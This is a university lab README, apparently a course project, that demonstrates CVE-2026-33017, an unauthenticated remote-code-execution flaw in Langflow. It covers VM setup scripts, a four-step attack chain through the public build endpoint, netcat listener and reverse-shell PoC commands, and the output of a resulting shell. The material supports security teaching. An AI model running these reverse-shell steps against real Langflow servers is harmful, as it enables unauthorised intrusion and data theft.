
# Образовательная лаборатория, демонстрирующая неаутентифицированное RCE в Langflow через CVE-2026-33017, с автоматической настройкой виртуальной машины и PoC-эксплойтом для обратной оболочки.
HoGent CyberSecurity II — Netwerk Pentesting & Exploitatie (NPE)
Academiejaar 2025–2026
Этот репозиторий содержит полную лабораторную среду и демонстрацию эксплуатации CVE-2026-33017 — критической уязвимости удалённого выполнения кода (RCE) без аутентификации в Langflow ≤ 1.8.1.
Атакующий без какой-либо аутентификации может выполнить произвольный Python-код на сервере через endpoint /api/v1/build_public_tmp/{flow_id}/flow, поскольку пользовательский ввод напрямую передаётся в Python exec() без песочницы или валидации.
⚠️ Дисклеймер: Этот репозиторий предназначен исключительно для образовательных целей в контролируемой лабораторной среде. Используйте только на системах, на которые у вас есть явное разрешение.
┌─────────────────────────────────────────────────────┐
│ HOST MACHINE │
│ │
│ ┌──────────────────┐ ┌───────────────────────┐ │
│ │ Langflow-Victim │ │ Kali-Attacker │ │
│ │ Ubuntu 22.04 │ │ Kali Linux │ │
│ │ 192.168.56.101 │◄────│ 192.168.56.100 │ │
│ │ Langflow 1.8.1 │ │ PoC exploit tool │ │
│ │ port 7860 │ │ + internet (NAT) │ │
│ └──────────────────┘ └───────────────────────┘ │
│ Host-only netwerk: 192.168.56.0/24 │
└─────────────────────────────────────────────────────┘
CVE-2026-33017/
├── README.md # Этот файл
├── LICENSE
├── .gitignore
├── docs/
│ └── stappenplan.md # Полное руководство по развёртыванию и атаке
└── scripts/
├── setup_vms.sh # Фаза 1: создание VirtualBox VM (HOST)
├── setup_victim.sh # Фаза 2: установка Langflow 1.8.1 (Ubuntu VM)
└── setup_attacker.sh # Фаза 3: установка PoC-инструмента (Kali VM)
VBoxManage в PATHUbuntu_22.04-VB-64bit.vdi → переименуйте в ubuntu-22.04.vdiKali_Linux-VB-64bit.vdi → переименуйте в kali-linux.vdisetup_vms.shbash scripts/setup_vms.sh
# Учётные данные: osboxes / osboxes.org
sudo bash scripts/setup_victim.sh
# Учётные данные: osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh
Терминал 1 — Слушатель reverse shell:
nc -lvnp 4444
Терминал 2 — Эксплойт:
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
--lhost 192.168.56.100 --lport 4444
PoC автоматически устанавливается скриптом
setup_attacker.sh.
Используемый PoC: omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
| Шаг | Endpoint | Описание |
|---|---|---|
| 1 | GET /api/v1/auto_login | Получает JWT-токен суперпользователя (AUTO_LOGIN=true) |
| 2 | POST /api/v1/flows/ | Создаёт новый публичный flow через API |
| 3 | POST /api/v1/build_public_tmp/{id}/flow | Внедряет CustomComponent с вредоносным Python-кодом |
| 4 | exec() в validate.py:397 | Код выполняется без песочницы — RCE |
[] Fetching access token... [+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff [] Sending reverse shell to connect back to 192.168.56.100:4444
Listener (Terminal 1): connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160 $ whoami user $ hostname e37190a2f147 $ find /app -name "*.db" /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
dataLANGFLOW_AUTO_LOGIN в продакшенеHoGent — Toegepaste Informatica — CyberSecurity II — 2025–2026